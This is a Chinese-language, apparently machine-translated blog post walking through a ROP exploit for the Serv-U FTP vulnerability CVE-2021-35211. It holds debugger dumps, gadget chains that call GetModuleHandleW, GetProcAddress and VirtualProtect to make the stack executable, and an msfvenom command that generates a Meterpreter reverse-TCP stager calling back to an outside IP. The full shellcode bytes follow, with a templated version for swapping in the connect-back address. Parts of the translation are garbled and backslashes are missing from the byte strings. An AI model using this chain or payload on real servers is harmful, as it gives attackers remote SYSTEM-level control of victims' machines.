创建漏洞利用:SolarWinds 漏洞 CVE-2021-35211

2022-01-18 09:39:13 浏览数 (1)

漏洞

在这篇博客中,我想分享一些在现代 Windows 系统上为 Serv-U FTP v15.2.3.717 创建基于 ROP 的漏洞利用背后的一些思考过程。我不会在这里介绍漏洞的根本原因,因为 Microsoft 研究团队在他们的博客文章中做得很好。如果您对我们如何到达 NattySamson 的 PoC 以及我们随后的漏洞利用感兴趣,请先阅读该文章,然后再返回此处。

我们在 Natty 的 PoC 为我们提供了一种半可靠的方式来r9使用攻击者提供的值填充寄存器,该值随后被call r9指令使用。这为我们提供了一种控制 rip 并在理论上执行 Serv-U 上下文中的任意代码的方法,Serv-U 通常作为 NT AUTHORITYSystem 作为服务运行。

我们将保持工具简单。如果你想一起玩,你需要:

  • 一个反汇编程序。在这个例子中,我使用了Hopper Disassembler,但 IDA Pro、Ghidra 或其他任何东西都可以。
  • 雷达2。汇编语言的瑞士军刀!
  • WinDBG。我在 Windows Server 2022 Datacenter 上使用了 WinDBG
  • 概念验证代码。我编写的漏洞利用基于NattiSamson编写的 PoC 。
  • Serv-U-FTP v15.2.3.717。
  • Python 3。Python 2 可能会进行一些调整。

请注意,我没有使用Mona或其他此类工具来自动化漏洞利用开发过程。我手动做了很多这样的工作,以更好地演示编写 ROP 漏洞利用所涉及的步骤;也许在以后的博客文章中,我将讨论如何使用像 Mona 这样的自动化工具来做到这一点。

如果您不关心技术细节而只想获取漏洞利用,请点击此处。

总结利用开发

rip我从 NattiSamson 的 PoC 开始,它触发了 Serv-U 中的错误,并通过call r9指令将用户可控制的值放入其中。r9是一个 QWORD(8 字节/64 位)寄存器,其内容可以通过在与 Serv-U 的初始 SSH 加密握手期间传递精心构建的恶意负载来控制。

让我们将漏洞利用开发分解成块。这将是一个ROP 漏洞利用,并且松散地构造如下:

  1. 弄清楚要放入哪个地址r9以启动代码执行
  2. 击败 ASLR 以启用上述功能
  3. 旋转堆栈指针rsp以指向我们有效负载中的 ROP 链
  4. 找到函数的地址kernel32.dll!VirtualProtect,我将使用它来使堆栈可执行(RWX)
  5. 确定有用的 ROP 小工具 (4)
  6. 构建一个 ROP 链,调用VirtualProtect以将堆栈的页面保护从 RX 更改为 RWX
  7. 将堆栈/寄存器重置为利用前的值(如果必要且可行)
  8. 添加 ROP 小工具以跳转到新可执行堆栈上的 shellcode

我可能会也可能不会坚持这个顺序!

在哪里跳?ASLR?堆栈枢轴?

以上前三点都是相互交织的,所以我将同时处理它们。r9问题是:为了启动我们的 ROP 链漏洞,我应该放入什么内存地址?我必须解决:

  • 在调用以 ret 指令返回之前,堆栈指针rsp必须指向我们的 ROP 链。r9这是因为工作方式ret。将ret指令视为等效于pop rax; jmp rax或者更简单地说,pop rip两者都从堆栈中弹出一个 64 位地址并跳转到它。如果你控制了堆栈,你就控制了未来每条 ret 指令的返回地址。
  • 换句话说:如果在调用rsp时没有指向我们的 ROP 链ret,我就完蛋了。
  • 不幸的是,rsp在 PoC 的时候没有指向我们的 ROP 链call r9,所以我们的第一个 ROP 小工具必须用我们的有效负载/ROP 链缓冲区的地址填充 rsp,然后call ret.
  • 由于 ASLR,每次启动 Serv-U 时,大多数内存地址都会不同。我必须找到静态地址,至少在我找到合适的立足点来动态查询运行时。

唷。调皮。幸运的是,这个错误上的星星对齐了,解决这些问题很容易。首先:ASLR。在解决地址空间随机化问题之前,我什么都做不了。

ASLR

在我找到有用的非 ASLR 可预测、可重复的地址之前,我无法堆叠枢轴或可靠地跳转到有用的指令或枢轴到 ROP 链。

首先要做的是查看 Serv-U.exe 或任何捆绑的 DLL 是否在没有 ASLR 支持的情况下编译。这项工作的工具是 NetSPI 的 PESecurity,可从https://github.com/NetSPI/PESecurity获得。它是一个 PowerShell 脚本,用于扫描可执行文件中的安全标志并生成简明报告,如下所示:

代码语言:javascript复制
PS C:UsersAdministratorDesktop> Import-Module .Get-PESecurity.psm1
PS C:UsersAdministratorDesktop> Get-PESecurity -directory 'C:Program FilesRhinoSoftServ-U' -recursive

FileName         : C:Program FilesRhinoSoftServ-URhinoNET.dll
ARCH             : AMD64
DotNET           : False
ASLR             : False
DEP              : True
Authenticode     : False
StrongNaming     : N/A
SafeSEH          : N/A
ControlFlowGuard : False
HighentropyVA    : True

FileName         : C:Program FilesRhinoSoftServ-URhinoRES.dll
ARCH             : AMD64
DotNET           : False
ASLR             : False
DEP              : True
Authenticode     : False
StrongNaming     : N/A
SafeSEH          : N/A
ControlFlowGuard : False
HighentropyVA    : True

FileName         : C:Program FilesRhinoSoftServ-UServ-U-RES.dll
ARCH             : AMD64
DotNET           : False
ASLR             : False
DEP              : True
Authenticode     : False
StrongNaming     : N/A
SafeSEH          : N/A
ControlFlowGuard : False
HighentropyVA    : True

FileName         : C:Program FilesRhinoSoftServ-UServ-U-Setup.exe
ARCH             : AMD64
DotNET           : False
ASLR             : False
DEP              : True
Authenticode     : True
StrongNaming     : N/A
SafeSEH          : N/A
ControlFlowGuard : False
HighentropyVA    : True

FileName         : C:Program FilesRhinoSoftServ-UServ-U-Tray.exe
ARCH             : AMD64
DotNET           : False
ASLR             : False
DEP              : True
Authenticode     : True
StrongNaming     : N/A
SafeSEH          : N/A
ControlFlowGuard : False
HighentropyVA    : True

FileName         : C:Program FilesRhinoSoftServ-UServ-U.dll
ARCH             : AMD64
DotNET           : False
ASLR             : False
DEP              : True
Authenticode     : False
StrongNaming     : N/A
SafeSEH          : N/A
ControlFlowGuard : False
HighentropyVA    : True

FileName         : C:Program FilesRhinoSoftServ-Uzlib1.dll
ARCH             : AMD64
DotNET           : False
ASLR             : False
DEP              : True
Authenticode     : False
StrongNaming     : N/A
SafeSEH          : N/A
ControlFlowGuard : False
HighentropyVA    : True

天哪,那是很多非 ASLR 二进制文件!不好意思,SolarWinds。这意味着 Serv-U.dll 等将始终加载到相同的内存地址,这意味着我有可靠的地址可以从中获取 ROP 小工具。

堆栈枢轴

如前所述,堆栈指针在发生时rsp并不指向我们的漏洞利用负载缓冲区call r9。这会破坏一切,因为一旦r9函数调用ret,CPU 会将返回地址从堆栈中的地址弹出并返回rspjmp它。换句话说,执行恢复正常。我可以控制r9并因此控制call跳转到的位置,但我无法控制它返回的位置;我必须找到一种方法来指向rsp我们的有效负载并仅使用一个 ROP 小工具返回我们的 ROP 链。

事实证明,我们的有效载荷实际上存储在rbp. 我怎么知道?通过在调试器中检查寄存器和堆栈,此时call r9由 CPU 执行。

首先是寄存器:

代码语言:javascript复制
<0:008> r
00 0000000d`09bfebf0 00000000`72111cb8 LIBEAY32!CRYPTO_ctr128_encrypt 0xc6
rax=0000000000000010 rbx=000001ed4d497f00 rcx=000001ed4d9126b8
rdx=000001ed4d9126c8 rsi=ffffffffffb627a8 rdi=0000000000000000
撕裂=00000000720b9636 rsp=0000000d09bfebf0 rbp=000001ed4d5a410a
 r8=000001ed4d497f00 r9=4141414141414100 r10=000001ed4d497f00
r11=000001ed4d5a40fa r12=000001ed4d9126c8 r13=0000000000000001
r14=ffffffffffc91a32 r15=000001ed4d474e80
iopl=0 nv up ei pl nz na po nc
cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206
LIBEAY32!CRYPTO_ctr128_encrypt 0xc6:
00000000`720b9636 41ffd1 调用 r9 {41414141`41414141}

我们可以看到堆栈指针和基指针彼此相距甚远:

代码语言:javascript复制
rsp = 0x00d09bfebf0
rbp = 0x1ed4d5a410a

rsp的内存地址没有任何我们的有效载荷,但是呢rbp

代码语言:javascript复制
0:013>分贝@rbp l128
00000253`5badfa9a 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
00000253`5badfaaa 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
00000253`5badfaba 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
00000253`5badfaca 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
00000253`5badfada 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
00000253`5badfaea 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
00000253`5badfafa 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
00000253`5badfb0a 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
00000253`5badfb1a 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
00000253`5badfb2a 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
00000253`5badfb3a 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
00000253`5badfb4a 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
00000253`5badfb5a 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
00000253`5badfb6a 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
00000253`5badfb7a 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
00000253`5badfb8a 41 41 41 41 41 41 41 41-00 00 00 00 00 00 00 00 AAAAAAA........
00000253`5badfb9a 00 00 00 00 00 00 00 00-00 00 00 00 00 00 73 92 ....................................
00000253`5badfbaa bf a1 35 03 00 90 b8 34-5a 90 ff 7f 00 00 70 34 ..5....4Z.....p4
00000253`5badfbba 5a 90 ff 7f 00 00 00 22 Z......"

答对了!因此,当天的首要任务是将地址rbp移至rsp. 为此,我需要一个 ROP 小工具,它可以执行以下操作:

代码语言:javascript复制
mov rsp, rbp
ret

它很少那么容易,但这就是我们开始的地方。使用 Radare2 搜索 ROP gadgets 很简单,尤其是在允许未对齐内存访问的架构上,例如 Intel x64,它可以帮助我们找到甚至不属于已编译代码的 gadgets。这是一个很酷的概念,看看吧。考虑以下代码:

代码语言:javascript复制
0x18005d485 498be3 mov rsp, r11
0x18005d488 5d pop rbp
0x18005d489 c3 ret

第一条指令 ,mov rsp占用r11三个字节x49x8bxe3并从地址 开始0x18005d485。因此,下一条指令位于高 3 个字节的地址0x18005d488

但是,如果我将指令指针设置为 address 0x18005d486,它位于两个“有效”指令地址之间呢?操作码是x8bxe3x5dxc3,这是一组完全不同的指令。您可以使用 Radare2 来反汇编这些操作码,如下所示:

代码语言:javascript复制
% rasm2 -a x86 -b 64 -d 8be35dc3
mov esp, ebx
pop rbp
ret

好吧,看那个!一个完全不同的小工具。您可以使用以下命令要求 Radare2 逐字节执行小工具搜索,以发现所有可能的指令排列"/ad/a "

代码语言:javascript复制
% r2 Serv-U.dll
 -- Ask not what r2 can do for you - ask what you can do for r2
[0x1801a4184]> "/ad/a mov rsp;ret;"
[0x1801a4184]>

上面的命令"/ad/a mov rsp;ret"告诉 Radare2 扫描Serv-U.dll文件以查找与 amov后跟 a匹配的指令,其中 mov 指令正在向寄存器ret写入内容。rsp每个堆叠的查询词都用分号分隔,并且应该是正则表达式;整个命令必须在双引号内。

对我们来说可悲的是,上面的 Radare2 搜索没有返回任何结果。好的,让我们试着找到一个小工具,它有某种mov rsp, .*,然后是任何其他指令,然后是ret

代码语言:javascript复制
[0x1801a4184]> "/ad/a mov rsp;.*;ret;"
0x180059ffb               498be3  mov rsp, r11
0x180059ffe                   5d  pop rbp
0x180059fff                   c3  ret
0x18005d485               498be3  mov rsp, r11
0x18005d488                   5d  pop rbp
0x18005d489                   c3  ret
0x18005d986               498be3  mov rsp, r11
0x18005d989                   5d  pop rbp
0x18005d98a                   c3  ret
0x18005fa9a               498be3  mov rsp, r11
0x18005fa9d                 415e  pop r14
0x18005fa9f                   c3  ret
0x180063a5a               498be3  mov rsp, r11
0x180063a5d                   5f  pop rdi
0x180063a5e                   c3  ret
0x180064795               498be3  mov rsp, r11
0x180064798                   5f  pop rdi
0x180064799                   c3  ret
...omitted for brevity...
0x180196569               498be3  mov rsp, r11
0x18019656c                   5f  pop rdi
0x18019656d                   c3  ret
0x1801a167f               498be3  mov rsp, r11
0x1801a1682                   5f  pop rdi
0x1801a1683                   c3  ret

这是很多匹配的小工具!请记住,我想将我们的有效载荷的地址放入rsp. 让我们排除任何rbp从堆栈中弹出的小工具;我想避免弄乱比绝对必要的更多的堆栈寄存器。我不在乎是否rdi搞砸了,所以只要r11指向我们的有效负载缓冲区在堆栈上的位置,这些小工具就很有用。

为了检查r11's 的值,我使用 WinDBG 附加到 Serv-U 进程,并在漏洞利用执行时比较了rbpagainst的值:r11call r9

代码语言:javascript复制
(1c60.1c04): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
代码语言:javascript复制
LIBEAY32!CRYPTO_ctr128_encrypt 0xc6:
00000000`720b9636 41ffd1 调用 r9 {41414141`41414141}
0:013> r
rax=0000000000000010 rbx=0000020058925d20 rcx=0000020058d1d688
rdx=0000020058d1d698 rsi=ffffffffffb5ee68 rdi=0000000000000000
撕裂=00000000720b9636 rsp=0000009dd2aff320 rbp=0000020058648b3a
 r8=0000020058925d20 r9=4141414141414141 r10=0000020058925d20
r11=0000020058648b2a r12=0000020058d1d698 r13=0000000000000001
r14=ffffffffff92b492 r15=000002005887c510
iopl=0 nv up ei pl nz na po nc
cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206
LIBEAY32!CRYPTO_ctr128_encrypt 0xc6:
00000000`720b9636 41ffd1 调用 r9 {41414141`41414141}
0:013>

我们可以看到:

代码语言:javascript复制
rbp=0000020058648b3a
r11=0000020058648b2a

多么幸运!r11寄存器指向从 开始 16 个字节的地址,该地址正好rbp指向我们的有效负载缓冲区。我可以使用新识别的 ROP 小工具来执行堆栈旋转,将“堆栈”(实际上是我们的有效负载)中的 8 个字节弹出到rdi中,然后将堆栈中的下一个字节弹出到rip; 鉴于我控制了新堆栈,因此我控制了 的值rip,这意味着我现在可以旋转堆栈并继续从我们的 ROP 链执行。

0x18010391a我从Radare2找到的那些小工具地址中选择了。它成为作为我们的第一个 ROP 小工具地址放入有效负载缓冲区的值。

执行Shellcode:查找 kernel32!VirtualProtect

现在我已经将堆栈转移到我们的 ROP 缓冲区,我需要设置执行 shellcode 的条件。第一步:使存储我们的 shellcode 的内存页可读、可写,并且——最重要的是——可执行。我们的 shellcode 在我们的有效负载缓冲区的堆栈中,所以这就是我需要使可执行文件。

该函数VirtualProtect用于更改内存区域的保护标志,这使我们可以将堆栈设置为可执行(RWX)。我检查了 的导入表Serv-U.dll,但没有导入VirtualProtect,因此获取正确地址(直接引用)的最简单方法不起作用。相反,我必须使用本地 Windows 函数通过调用GetProcAddress(GetModuleHandleW(L"kernel32.dll"), "VirtualProtect").

我们可以从反汇编程序的导入表(Navigation / Imported Symbols in Hopper)中Serv-U.dll看到GetModuleHandleWkernel32.dll:

它还进口GetProcAddress

该地址0x1801c92c8是一个内置的蹦床存根Serv-U.dll,当跳转到时,将执行重定向到kernel32!GetModuleHandleW由操作系统的库加载器映射到 Serv-U 进程空间的真实地址。这同样适用于0x1801c9590kernel32!GetProcAddress。换句话说,存储在地址中的值0x0x1801c92c8是指向实际GetModuleHandleW函数的指针。

让我们在调试器中取消对它的引用,并仔细检查它是否与GetModuleHandleW此上下文中的真实地址匹配。首先,取消引用蹦床Serv-U.dll

代码语言:javascript复制
0:026>你poi(0x1801c92c8)
KERNEL32!GetModuleHandleWStub:
00007ffd`19e4ce40 48ff2559370600 jmp qword ptr [KERNEL32!_imp_GetModuleHandleW (00007ffd`19eb05a0)]
00007ffd`19e4ce47 cc int 3

惊人的。是否同样适用GetProcAddress

代码语言:javascript复制
0:026>你poi(0x1801c9590)
KERNEL32!GetProcAddressStub:
00007ffd`19e4a780 4c8b0424 mov r8,qword ptr [rsp]
00007ffd`19e4a784 48ff25bd510600 jmp qword ptr [KERNEL32!_imp_GetProcAddressForCaller (00007ffd`19eaf948)]
00007ffd`19e4a78b cc int 3

确实是的!这为我们省去了很多麻烦,我可以通过调用已知指针来访问定位所需的函数,以“简单”的方式编写 ROP 链VirtualProtect。为了调用必要的功能,我需要找到一些提供必要功能的 ROP 小工具。

识别 ROP 小工具

我首先勾勒出我想要实现的粗略计划。

  • 堆栈枢轴
  • 设置调用时需要的参数 moduleHandle = GetModuleHandleW(L"kernel32.dll")
  • 称它为
  • 设置调用时需要的两个参数 VirtualProtect = GetProcAddress(moduleHandle, "GetProcAddress")
  • 称它为
  • 设置需要的四个参数 VirtualProtect(stackAddress, size, attributes, &results)
  • 称它为
  • 加载我们的有效负载缓冲区的 NOP sled shellcode 的地址
  • 恢复 pre-exploit 堆栈帧
  • 跳转到shellcode

建立小工具链需要进行一些试验和错误,因为我们通常仅限于不完美的小工具。所以我花了一些时间寻找有用的小玩意。什么是“有用”?这里有一些想法:

  • 简单而简短。Eg比后者mov rax, rbx ; ret要好得多,mov rax, rbx; mov rax, qword ptr [rax 10h]; pop rcx; ret因为后者会踩到我们想要的值,并且由于 pop 指令,它也会弄乱堆栈。简单在 ROP 中是好的。但是,如果我们找不到“完美”的小工具(即那些只执行所需操作ret)的小工具,那么我们就必须满足于带有额外负担的小工具。
  • 在 x64 上操作参数传递寄存器。允许我们pop从堆栈中将值放入四个参数传递寄存器(rcx分别为rdxr8、 和r9)的小工具对于调用函数非常有用。例如,这些小工具是纯金的:
    • pop rcx ; ret
    • pop rdx ; ret
    • pop r8 ; ret
    • pop r9 ; ret
  • 在此漏洞利用中,没有可用的pop r9小工具。相反,我寻找最小可能的非完美小工具来加载另一个具有所需值的寄存器并将其交换到r9寄存器中,如下所示:
    • pop rax ; xchg r9, rax ; ret
  • 像这样的流控制小工具jmp rax ; ret或者call rbx ; ret可以像这样链接在一起:
    • pop rax 其次是
    • jmp rax or jmp qword ptr [rax]
  • 在弹跳蹦床时,取消引用寄存器的小工具非常有用,比如我为GetModuleHandleWGetProcAddress. 例如:
    • mov rax, qword ptr [rax]. 读取内存地址处的值rax并将其存储在rax寄存器中。
    • 例如,如果rax=0x123456789上面的指令读取内存地址的 8 个字节0x123456789并将该值存储在rax寄存器中。

我花了一些时间收集小工具,然后用它们来构建一个真正的 ROP 链。有时它行不通,你需要永远思考做这项工作的替代方法。例如,我花了几个小时试图找到一种r9在调用VirtualProtect. 最终,我选择了r9通过填充的两个小工具链rax,如下所示:

代码语言:javascript复制
# Gadget 1
pop rax         # we control the stack, so we can control the value popped into rax
ret
代码语言:javascript复制
# Gadget 2
xchg rax, r9    # tadaaaa</p>
adc al, 0       # Effectively a NOP without consequences
add rsp, 0x38   # Effectively a NOP with consequences: stack pointer increases by 0x38 bytes.
ret             # The address popped off the stack by the ret instruction needs to be 0x38 bytes further up our payload/stack than it normally would be.

双小工具是一种妥协,因为我真的不想让我的有效负载的 0x38 字节被吃掉,add rsp, 0x38,但它完成了工作并且是我拥有的最好的,所以我选择了它。

调用 GetModuleHandleW

GetModuleHandleW函数定义为:

代码语言:javascript复制
HMODULE GetModuleHandleW(
  [in, optional] LPCWSTR lpModuleName
);

它返回一个指针(在 Microsoft 术语中也称为“句柄”)以指定内存中的模块(DLL、可执行文件等)。如果加载,该指针从字面上指向内存中的完整 DLL。模块的名称必须指定为“宽”字符串,它使用每个字符 16 位而不是 ASCII 的每个字符 8 位。例如:

ASCII:

代码语言:javascript复制
"kernel32" = x6bx65x72x6ex65x6cx33x32

宽弦:

代码语言:javascript复制
"kernel32" = x6bx00x65x00x72x00x6ex00x65x00x6cx00x33x00x32x00"

kernel32很方便,二进制文件中有一个宽字符串版本Serv-U.dll!它位于0x180313230,如 Hopper 中所示:

请注意,它表示为 type dw,它是一个宽字符串。在十六进制编辑器中检查结果确认这确实是一个宽字符串:

优秀的。只需调用GetModuleHandleW(L"kernel32.dll")以下伪代码:

代码语言:javascript复制
pop rcx         # We place the value 0x180313230 (address of kernel32 string) on the stack to be popped into rcx
pop rax         # We place the value 0x1801c92c8 (address of GetModuleHandleW trampoline) on the stack to be popped into rax
jmp [rax]       # Dereference rax and jump to the resulting address, which is the real address of GetModuleHandleW
mov rcx, rax    # Save the returned handle in rcx for later

的句柄kernel32.dll在寄存器中返回rax,我们可以保存以备后用。在漏洞利用中,我将其保存到 Serv-U.data段中的可写内存区域中,我将其视为临时保存数据的“变量”的暂存器。

调用 GetProcAddress

GetProcAddress函数定义为:

代码语言:javascript复制
FARPROC GetProcAddress(
  [in] HMODULE hModule,
  [in] LPCSTR  lpProcName
);

第一个参数是我从中获得的句柄GetModuleHandleW。第二个是我要查找的函数的名称:VirtualProtect. 这次字符串应该是 ASCII,而不是宽的。不幸的是,Serv-U 二进制文件中没有以 NULL 结尾的“VirtualProtect”字符串,因此我需要使用堆栈创建自己的字符串。

第一步是在 Serv-U 的.data段中找到一个可写的内存地址,我可以在其中写入一个字符串。我使用 Hopper 在数据段中查找没有与任何代码交叉引用的部分;假设是内存区域确实未被使用。伪代码如下:

代码语言:javascript复制
# Write "VirtualProtectx00x00" (16 bytes) to an unused address in .data
# Split the task so that two 8-byte chunks are written consecutively.

pop rdx         # An unused address in Serv-U's data segment gets popped into rdx. 
pop rax         # Pop the value 0x506c617574726956 ("VirtualP" little-endian) off the stack.
mov [rdx], rax  # Write "VirtualP" to the first 8 bytes of our .data memory chunk.

pop rdx         # Pop the address of the next 8 bytes of .data memory into rdx. 
pop rax         # Pop "rotectx00x00" off the stack into the rax register.
mov [rdx], rax  # Append "rotectx00x00" to our memory chunk, making a complete "VirtualProtectx00x00" string.

现在我可以打电话了GetProcAddress

代码语言:javascript复制
# Assume rcx contains the value returned by GetModuleHandleW, the handle to kernel32.dll
# Assume rdx contains the address of the string "VirtualProtectx00"
pop rax         # Pop 0x1801c9590 off the stack (the address of the GetProcAddress trampoline)
jmp [rax]       # Jump to GetProcAddress(handle, "VirtualProtectx00")
# The address of the VirtualProtect function is returned in rax)

呸!我现在有了VirtualProtectin的地址rax

调用 VirtualProtect

VirtualProtect函数定义为:

代码语言:javascript复制
BOOL VirtualProtect(
  [in]  LPVOID lpAddress,       # Starting address of memory to make executable (rounded down to nearest 4k page boundary).
  [in]  SIZE_T dwSize,          # Number of bytes to make executable (rounded up to nearest 4k page boundary).
  [in]  DWORD  flNewProtect,    # Protection flags. In this case 0x40 = RWX.
  [out] PDWORD lpflOldProtect   # Return results in this variable. Must be a writable memory address!
);

请记住,参数分别在rcxrdxr8r9寄存器中传递给此函数。在这种情况下:

代码语言:javascript复制
rcx = 我们的有效负载缓冲区的地址(即当前堆栈地址)
rdx = 0x2000(8kB 或两个 4k 内存页)
r8 = 0x40(可读、可写、可执行)
r9 = 来自 Serv-U 的 .data 段的地址

第二个和第三个参数非常简单:只需将它们从堆栈中弹出!

代码语言:javascript复制
pop rdx # 将 0x2000 出栈
pop r8 # 将 0x40 出栈

得到最后一个参数有点棘手,因为我们没有pop r9小工具可以使用;而是使用复合小工具:

代码语言:javascript复制
# 1st gadget
pop rax         # Pop writable address off the stack into rax
ret
代码语言:javascript复制
# 2nd gadget
xchg rax, r9    # Swap rax and r9 so that r9 now contains the writable address
adc al, 0       # Extra crap instruction does effectively no operation
add rsp, 0x38   # This part of the gadget moves the stack pointer up 0x38 bytes. 
                # We account for this in our exploit by skipping 0x38 bytes of our 
                # payload buffer before writing the next value to the buffer.
ret             # Return to the next gadget

最后我填充第一个参数:我们的堆栈的地址。这些小工具并不适合此操作,但它们可以工作:

代码语言:javascript复制
# 1st gadget
push rbp                # Push an address near our stack onto the head of the stack.
pop rax                 # Pop the address off the stack into rax so that rax now contains the address of the stack.
add byte ptr [rax], al  # Effective no operation in this context
ret                     # Return to next gadget
代码语言:javascript复制
# 2nd gadget
mov rcx, rax            # Put the (approximate) address of the stack into rcx
ret

此时我已经填充了寄存器,我只需要调用VirtualProtect以使我们的 shellcode 可执行:

代码语言:javascript复制
# Assuming we have address of VirtualProtect's trampoline in rax
jmp [rax]
ret

就是这样!我们的 shellcode 所在的堆栈部分现在是可执行的。

外壳代码

我采用了生成的标准 shellcodemsfvenom并在漏洞利用运行时对其进行了修补,以进行我的竞标。例如,考虑 Metasploit 兼容的 shellcode stager。它是这样生成的:

代码语言:javascript复制
[2021-10-19T18:47:49Z] root@h:/ehome/haggis# msfvenom  -p 
windows/x64/meterpreter/reverse_tcp LHOST=192.153.76.22 LPORT=443 -f c
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 510 bytes
Final size of c file: 2166 bytes
unsigned char buf[] =
"xfcx48x83xe4xf0xe8xccx00x00x00x41x51x41x50x52"
"x51x56x48x31xd2x65x48x8bx52x60x48x8bx52x18x48"
"x8bx52x20x48x8bx72x50x48x0fxb7x4ax4ax4dx31xc9"
"x48x31xc0xacx3cx61x7cx02x2cx20x41xc1xc9x0dx41"
"x01xc1xe2xedx52x41x51x48x8bx52x20x8bx42x3cx48"
"x01xd0x66x81x78x18x0bx02x0fx85x72x00x00x00x8b"
"x80x88x00x00x00x48x85xc0x74x67x48x01xd0x50x8b"
"x48x18x44x8bx40x20x49x01xd0xe3x56x48xffxc9x41"
"x8bx34x88x48x01xd6x4dx31xc9x48x31xc0xacx41xc1"
"xc9x0dx41x01xc1x38xe0x75xf1x4cx03x4cx24x08x45"
"x39xd1x75xd8x58x44x8bx40x24x49x01xd0x66x41x8b"
"x0cx48x44x8bx40x1cx49x01xd0x41x8bx04x88x48x01"
"xd0x41x58x41x58x5ex59x5ax41x58x41x59x41x5ax48"
"x83xecx20x41x52xffxe0x58x41x59x5ax48x8bx12xe9"
"x4bxffxffxffx5dx49xbex77x73x32x5fx33x32x00x00"
"x41x56x49x89xe6x48x81xecxa0x01x00x00x49x89xe5"
"x49xbcx02x00x01xbbxc0x99x4cx16x41x54x49x89xe4"
"x4cx89xf1x41xbax4cx77x26x07xffxd5x4cx89xeax68"
"x01x01x00x00x59x41xbax29x80x6bx00xffxd5x6ax0a"
"x41x5ex50x50x4dx31xc9x4dx31xc0x48xffxc0x48x89"
"xc2x48xffxc0x48x89xc1x41xbaxeax0fxdfxe0xffxd5"
"x48x89xc7x6ax10x41x58x4cx89xe2x48x89xf9x41xba"
"x99xa5x74x61xffxd5x85xc0x74x0ax49xffxcex75xe5"
"xe8x93x00x00x00x48x83xecx10x48x89xe2x4dx31xc9"
"x6ax04x41x58x48x89xf9x41xbax02xd9xc8x5fxffxd5"
"x83xf8x00x7ex55x48x83xc4x20x5ex89xf6x6ax40x41"
"x59x68x00x10x00x00x41x58x48x89xf2x48x31xc9x41"
"xbax58xa4x53xe5xffxd5x48x89xc3x49x89xc7x4dx31"
"xc9x49x89xf0x48x89xdax48x89xf9x41xbax02xd9xc8"
"x5fxffxd5x83xf8x00x7dx28x58x41x57x59x68x00x40"
"x00x00x41x58x6ax00x5ax41xbax0bx2fx0fx30xffxd5"
"x57x59x41xbax75x6ex4dx61xffxd5x49xffxcexe9x3c"
"xffxffxffx48x01xc3x48x29xc6x48x85xf6x75xb4x41"
"xffxe7x58x6ax00x59x49xc7xc2xf0xb5xa2x56xffxd5";

用于下载第二阶段 shellcode 的 shellcode 连接到的 IP 地址位于以下偏移量处:

代码语言:javascript复制
"xfcx48x83xe4xf0xe8xccx00x00x00x41x51x41x50x52"
"x51x56x48x31xd2x65x48x8bx52x60x48x8bx52x18x48"
"x8bx52x20x48x8bx72x50x48x0fxb7x4ax4ax4dx31xc9"
"x48x31xc0xacx3cx61x7cx02x2cx20x41xc1xc9x0dx41"
"x01xc1xe2xedx52x41x51x48x8bx52x20x8bx42x3cx48"
"x01xd0x66x81x78x18x0bx02x0fx85x72x00x00x00x8b"
"x80x88x00x00x00x48x85xc0x74x67x48x01xd0x50x8b"
"x48x18x44x8bx40x20x49x01xd0xe3x56x48xffxc9x41"
"x8bx34x88x48x01xd6x4dx31xc9x48x31xc0xacx41xc1"
"xc9x0dx41x01xc1x38xe0x75xf1x4cx03x4cx24x08x45"
"x39xd1x75xd8x58x44x8bx40x24x49x01xd0x66x41x8b"
"x0cx48x44x8bx40x1cx49x01xd0x41x8bx04x88x48x01"
"xd0x41x58x41x58x5ex59x5ax41x58x41x59x41x5ax48"
"x83xecx20x41x52xffxe0x58x41x59x5ax48x8bx12xe9"
"x4bxffxffxffx5dx49xbex77x73x32x5fx33x32x00x00"
"x41x56x49x89xe6x48x81xecxa0x01x00x00x49x89xe5"
"x49xbcx02x00"
"PP"   # connect-back port       @ offs 244
"HHHH" # connect-back IP address @ offs 246 
"x41x54x49x89xe4"
"x4cx89xf1x41xbax4cx77x26x07xffxd5x4cx89xeax68"
"x01x01x00x00x59x41xbax29x80x6bx00xffxd5x6ax0a"
"x41x5ex50x50x4dx31xc9x4dx31xc0x48xffxc0x48x89"
"xc2x48xffxc0x48x89xc1x41xbaxeax0fxdfxe0xffxd5"
"x48x89xc7x6ax10x41x58x4cx89xe2x48x89xf9x41xba"
"x99xa5x74x61xffxd5x85xc0x74x0ax49xffxcex75xe5"
"xe8x93x00x00x00x48x83xecx10x48x89xe2x4dx31xc9"
"x6ax04x41x58x48x89xf9x41xbax02xd9xc8x5fxffxd5"
"x83xf8x00x7ex55x48x83xc4x20x5ex89xf6x6ax40x41"
"x59x68x00x10x00x00x41x58x48x89xf2x48x31xc9x41"
"xbax58xa4x53xe5xffxd5x48x89xc3x49x89xc7x4dx31"
"xc9x49x89xf0x48x89xdax48x89xf9x41xbax02xd9xc8"
"x5fxffxd5x83xf8x00x7dx28x58x41x57x59x68x00x40"
"x00x00x41x58x6ax00x5ax41xbax0bx2fx0fx30xffxd5"
